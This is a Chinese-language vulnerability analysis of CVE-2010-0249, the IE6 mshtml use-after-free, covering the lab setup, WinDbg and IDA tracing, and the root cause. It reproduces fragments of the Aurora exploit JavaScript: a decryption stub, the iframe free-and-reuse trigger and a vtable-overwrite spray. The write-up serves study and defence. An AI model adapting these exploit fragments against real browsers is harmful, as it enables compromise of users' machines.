漏洞编号 :CVE-2010-0249
危害等级 :高危
漏洞类型 :缓冲区溢出
操作系统 :Windows 2000/XP/2003/Vista Gold/2008/7/
软件名称 :Internet Explorer
软件版本 :6.0
漏洞模块 :mshtml.dll
模块版本 :6.0.2900.5512
物理机(或者单独开一个虚拟机作为服务端)开启 IIS 服务作为网站服务器
控制面板 — 程序和功能 — 启用或关闭 Windows 功能
控制面板 — 管理工具 — Internet Information Services (IIS)管理器(注意不是6.0的那个)
虚拟机使用 window xp sp3,建议从msdn下载镜像自己安装,笔者最开始用的别人做好的windows xp sp3 虚拟机 POC 无法正常运行,这里附上MSDN中的镜像版本 Windows XP Professional with Service Pack 3 (x86) - CD (Chinese-Simplified)。
启动windbg并配置符号文件,使用 windbg 附加 IE 浏览器,执行 poc http://192.168.0.113/Aurora.html?rFfWELUjLJHpP
,等待windbg 断在 mshtml!CElement::GetDocPtr+0x2:
处,需要注意该 poc 的堆喷射并非每次都可以成功,如未在此处断下建议多尝试几次,如正确断下则代表漏洞已复现成功,此时可在 windbg 中使用命令 .dump -ma dumpfile.dmp
将异常信息全部 dump 到文件中,dumpfile.dmp 文件保存在 windbg 软件所在的目录中。
可以通过栈帧,回溯漏洞的调用流程
在 IDA 中查看地址 7e44c4c8 处代码,因为异常断在 7e278c85 处,所以显然是 7E278C83 的 mov eax[ecx]
出现问题,因为这只是一条 mov 指令,所以异常必然是对 ecx 解引用导致的,也就是说此时 ecx 的值是非法地址,为了清晰的观察 ecx 的值的传递过程,此时我们将 ecx 的值标记位 leak,我们倒着推一下 leak 这个值是怎么来的
通过栈回溯,在IDA中跳转到地址 7E44C4BE,此时我们容易推出下列结论,leak = [esi]
继续向上回推,会发现 esi = [eax+n],eax = [ebp + var_8],此时我们暂且认为n为0,即 leak = [[eax]] = [[[ebp + var_8]]] 显然接下来我们需要关注 var_8
继续向上推会发现其调用了函数 GetParam@CEventObj,而这个函数将 [ebp+var_8] 作为唯一参数,显然我们需知道这个函数中是否对 [ebp+var_8] 的值进行了修改,因为是作为参数压入了栈中,下面的代码中我们需要关注的其实是 [ebp+8],通过简单的代入可得到:[[参数1]] = this + 0x18
回到调用 GetParam@CEventObj 函数处,可以轻松推导出 [[eax]] = this + 0x18,结合之前的推论 leak = [[[ebp + var_8]]],可得到最终推论 leak = [this+0x18]
而函数 GenericGetElement 的 this 也就是 ecx 是由外界参数传入的,也就是说这个地址是可控的
setInterval:可按照指定的周期(以毫秒计)来调用函数或计算表达式,setInterval方法会不停地调用函数,直到 clearInterval被调用或窗口被关闭。window.setInterval(调用函数,延时时间);
event.srcElement:可以捕获当前事件作用的对象
document.createElement:动态创建DOM元素并插入的已有的HTML中,函数接受一个HTML标签名称并返回Element 类型的新节点。
unescape:可对通过 escape() 编码的字符串进行解码。
为了便于分析,我们不希望程序直接被执行,而是想看一下解密后的代码是什么,而解密后的代码保存在变量“NqxAXnnXiILOBMwVnKoqnbp”里面,我们可以先将上述代码注释掉,在它上面添加这样的一行代码,这里结合console.log() 方法可以将解密后的内容在控制台输出,使用浏览器执行这个网页文件,打开开发者模式中的控制台就可以看到解密后的内容了
尽管已经定位到了导致崩溃的位置以及函数的调用情况,但是我们还是要进一步探索出现漏洞的根本原因的,所以有必要研究一下IE浏览器在解析这个PoC网页的时候到底出现了什么情况。通过刚才的分析我们知道,程序一开始调用了document.createEventObject为当前的event事件创建一个副本,因此我们不妨使用WinDbg的x命令来检查调试符号,这里可以找到两条结果,其中地址为0x7e216b2c的内容通过IDA查看,发现它是一种数据结构,所以程序只可能使用CDocument::createEventObject用于解析JavaScript代码中的document.createEventObject函数。所以不妨在IDA中来到0x7e383b3b位置分析一下副本的创建方式。来到该函数的末尾,可以发现它的主要功能是由CEventObj::Create来实现的。
在IDA中跳转到 7e383b3b,转换为伪代码后可以发现,实际调用的是 CEventObj::Create
在 CEventObj::Create 中在申请堆空间后,会调用函数 EVENTPARAM::EVENTPARAM
在分析 EVENTPARAM::EVENTPARAM 函数前先补充一下 EVENTPARAM 结构的知识
分析函数 EVENTPARAM::EVENTPARAM 可以看到,这个函数将参数二的数据拷贝到 this指针处,但是请注意,参数二中还包含着一个叫做CTreeNode的对象结构体,此处将CTreeNode对象拷贝,但是没有将CTreeNode的引用计数加一
我们已经弄清了漏洞的成因,所以我们尝试在windbg中观察漏洞的形成过程,看看事件对象是如何创建和保存的。其实在mshtml模块中是存在有一个用于创建不同元素的函数表的,它的地址是 7e21aa98
在这个函数表中我们可以找到创建IFrame的函数,它的地址是 7E21ADC0
回到虚拟机中在函数上下断点
这里所获取的CIFrameElement对象指针会保存在ecx寄存器中(利用IDA结合上下调用关系可以得知),也就是地址为0x01ca1710的位置,但由于现在还没有开始创建,因此这个地址中并没有内容。
然后我们在CTreeNode上也下一个断点,并通过栈回溯来观察一下
在这里,CTreeNode已经将刚才的CIFrameElement对象指针当作自己的第二个参数使用了。同时利用CTreeNode::SetElement函数将CIFrameElement类与CTreeNode相关联。此时可以再看一下0x01ca1710中的内容并进行解引用:
此时查看 7e25bc68 处可以看到,该指针最终指向的是“vftable”
如果在我们之前提取出来的dump文件中,查看原本指向虚表的指针,即0x01ca1710位置,则可以看到如下数据
在创建CEventObj时,会创建EVENTPARAM结构,如果新创建的CEventObj是从已有的CEventObj继承而来时,则这两个CEventObj事件的源相同。在新创建的EVENTPARAM结构的偏移0处的元素pNode(CTreeNode),将复制源CEventObj该处的值。 在补丁前,上述过程没有增加CTreeNode的引用计数,在精心构造的html中,有可能导致CTreeNode已经释放,而EVENTPARAM的pNode却仍然指向它,导致释放后重用。 补丁后,在EVENTPARAM::EVENTPARAM中,对上述情况作了处理,增加CTreeNode的引用计数,不会再导致问题
0
:
000
> k
ChildEBP RetAddr
0012e358
7e44c4c8
mshtml!CElement::GetDocPtr
+
0x2
0012e37c
7e44c623
mshtml!CEventObj::GenericGetElement
+
0x9c
0012e38c
7e3af659
mshtml!CEventObj::get_srcElement
+
0x15
0012e3b0
7e2a8a23
mshtml!GS_IDispatchp
+
0x33
0012e430
7e2a88bf
mshtml!CBase::ContextInvokeEx
+
0x462
0012e45c
75be1408
mshtml!CBase::InvokeEx
+
0x25
0012e494
75be1378
jscript!IDispatchExInvokeEx2
+
0xac
0
:
000
> k
ChildEBP RetAddr
0012e358
7e44c4c8
mshtml!CElement::GetDocPtr
+
0x2
0012e37c
7e44c623
mshtml!CEventObj::GenericGetElement
+
0x9c
0012e38c
7e3af659
mshtml!CEventObj::get_srcElement
+
0x15
0012e3b0
7e2a8a23
mshtml!GS_IDispatchp
+
0x33
0012e430
7e2a88bf
mshtml!CBase::ContextInvokeEx
+
0x462
0012e45c
75be1408
mshtml!CBase::InvokeEx
+
0x25
0012e494
75be1378
jscript!IDispatchExInvokeEx2
+
0xac
7E278C83
?GetDocPtr@CElement@@QBEPAVCDoc@@XZ proc near
7E278C83
mov eax, [ecx] ; ecx
=
leak
7E278C85
call dword ptr [eax
+
34h
]
7E278C88
mov eax, [eax
+
0Ch
]
7E278C8B
retn
7E278C8B
?GetDocPtr@CElement@@QBEPAVCDoc@@XZ endp
7E278C83
?GetDocPtr@CElement@@QBEPAVCDoc@@XZ proc near
7E278C83
mov eax, [ecx] ; ecx
=
leak
7E278C85
call dword ptr [eax
+
34h
]
7E278C88
mov eax, [eax
+
0Ch
]
7E278C8B
retn
7E278C8B
?GetDocPtr@CElement@@QBEPAVCDoc@@XZ endp
7E44C4BE
push ebx
7E44C4BF
mov ebx, [esi] ; leak
=
[esi]
7E44C4C1
mov ecx, ebx ; ebx
=
leak
7E44C4C3
call ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ ;ecx
=
leak
7E44C4C8
mov eax, [eax
+
14Ch
]
7E44C4CE
mov eax, [eax
+
2Ch
]
7E44C4D1
mov ecx, [eax
+
20h
] ; this
7E44C4BE
push ebx
7E44C4BF
mov ebx, [esi] ; leak
=
[esi]
7E44C4C1
mov ecx, ebx ; ebx
=
leak
7E44C4C3
call ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ ;ecx
=
leak
7E44C4C8
mov eax, [eax
+
14Ch
]
7E44C4CE
mov eax, [eax
+
2Ch
]
7E44C4D1
mov ecx, [eax
+
20h
] ; this
var vuWGWsvUonxrQzpqgBXPrZNSKRGee
=
location.search.substring(
1
);
var NqxAXnnXiILOBMwVnKoqnbp
=
'';
for
(i
=
0
;i<RXb.length;i
+
+
) {
NqxAXnnXiILOBMwVnKoqnbp
+
=
String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i
%
vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
}
console.log(NqxAXnnXiILOBMwVnKoqnbp);
/
/
window[
"eval"
.replace(
/
[A
-
Z]
/
g,"")](NqxAXnnXiILOBMwVnKoqnbp);
var vuWGWsvUonxrQzpqgBXPrZNSKRGee
=
location.search.substring(
1
);
var NqxAXnnXiILOBMwVnKoqnbp
=
'';
for
(i
=
0
;i<RXb.length;i
+
+
) {
NqxAXnnXiILOBMwVnKoqnbp
+
=
String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i
%
vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
}
console.log(NqxAXnnXiILOBMwVnKoqnbp);
/
/
window[
"eval"
.replace(
/
[A
-
Z]
/
g,"")](NqxAXnnXiILOBMwVnKoqnbp);
<span
id
=
"vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY"
>
<iframe src
=
"/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif"
onload
=
"WisgEgTNEfaONekEqaMyAUALLMYW(event)"
/
>
<
/
span>
<span
id
=
"vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY"
>
<iframe src
=
"/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif"
onload
=
"WisgEgTNEfaONekEqaMyAUALLMYW(event)"
/
>
<
/
span>
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX();
/
/
堆喷射
lTneQKOeMgwvXaqCPyQAaDDYAkd
=
document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz);
/
/
此处将事件对象创建了一份(引用计数加一)
document.getElementById(
"vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY"
).innerHTML
=
"";
/
/
此处释放 iframe
window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo,
50
);
/
/
延时调用,访问已经被释放的内存
}
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX();
/
/
堆喷射
lTneQKOeMgwvXaqCPyQAaDDYAkd
=
document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz);
/
/
此处将事件对象创建了一份(引用计数加一)
document.getElementById(
"vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY"
).innerHTML
=
"";
/
/
此处释放 iframe
window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo,
50
);
/
/
延时调用,访问已经被释放的内存
}
function nayjNuSncnxGnhZDJrEXatSDkpo(){
p
=
"\u0c0f\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"
;
for
(i
=
0
; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i
+
+
)
{
MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data
=
p;
/
/
将全局对象中的数据改为
0c0d0c0d
(覆盖虚表指针)
}
var t
=
lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement;
/
/
获取一个已经置空了的对象
}
function nayjNuSncnxGnhZDJrEXatSDkpo(){
p
=
"\u0c0f\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"
;
for
(i
=
0
; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i
+
+
)
{
MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data
=
p;
/
/
将全局对象中的数据改为
0c0d0c0d
(覆盖虚表指针)
}
var t
=
lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement;
/
/
获取一个已经置空了的对象
}
0
:
000
> x mshtml!
*
document
*
createEventObject
*
7e216b2c
mshtml!s_methdescCDocumentcreateEventObject
=
<no
type
information>
7e383b3b
mshtml!CDocument::createEventObject (<no parameter info>)
0
:
000
> x mshtml!
*
document
*
createEventObject
*
7e216b2c
mshtml!s_methdescCDocumentcreateEventObject
=
<no
type
information>
7e383b3b
mshtml!CDocument::createEventObject (<no parameter info>)
int
__userpurge CDocument::createEventObject@<eax>(
GUID
*
a1@<esi>,
CDocument
*
this,
struct tagVARIANT
*
a3,
struct IHTMLEventObj
*
*
a4)
{
v8
=
CDocument::Doc(this);
v9
=
0
;
if
( a4 )
{
......
v7
=
v9;
v5
=
CDocument::Markup(this);
v4
=
CEventObj::Create((
int
)a1, a4, v8,
0
, v5,
0
,
0
, v7,
0
);
return
CBase::SetErrorInfo(this, v4);
}
v4
=
-
2147024809
;
return
CBase::SetErrorInfo(this, v4);
}
int
__userpurge CDocument::createEventObject@<eax>(
GUID
*
a1@<esi>,
CDocument
*
this,
struct tagVARIANT
*
a3,
struct IHTMLEventObj
*
*
a4)
{
v8
=
CDocument::Doc(this);
v9
=
0
;
if
( a4 )
{
......
v7
=
v9;
v5
=
CDocument::Markup(this);
v4
=
CEventObj::Create((
int
)a1, a4, v8,
0
, v5,
0
,
0
, v7,
0
);
return
CBase::SetErrorInfo(this, v4);
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-3-12 19:32
被简单的简单编辑
,原因:
上传的附件: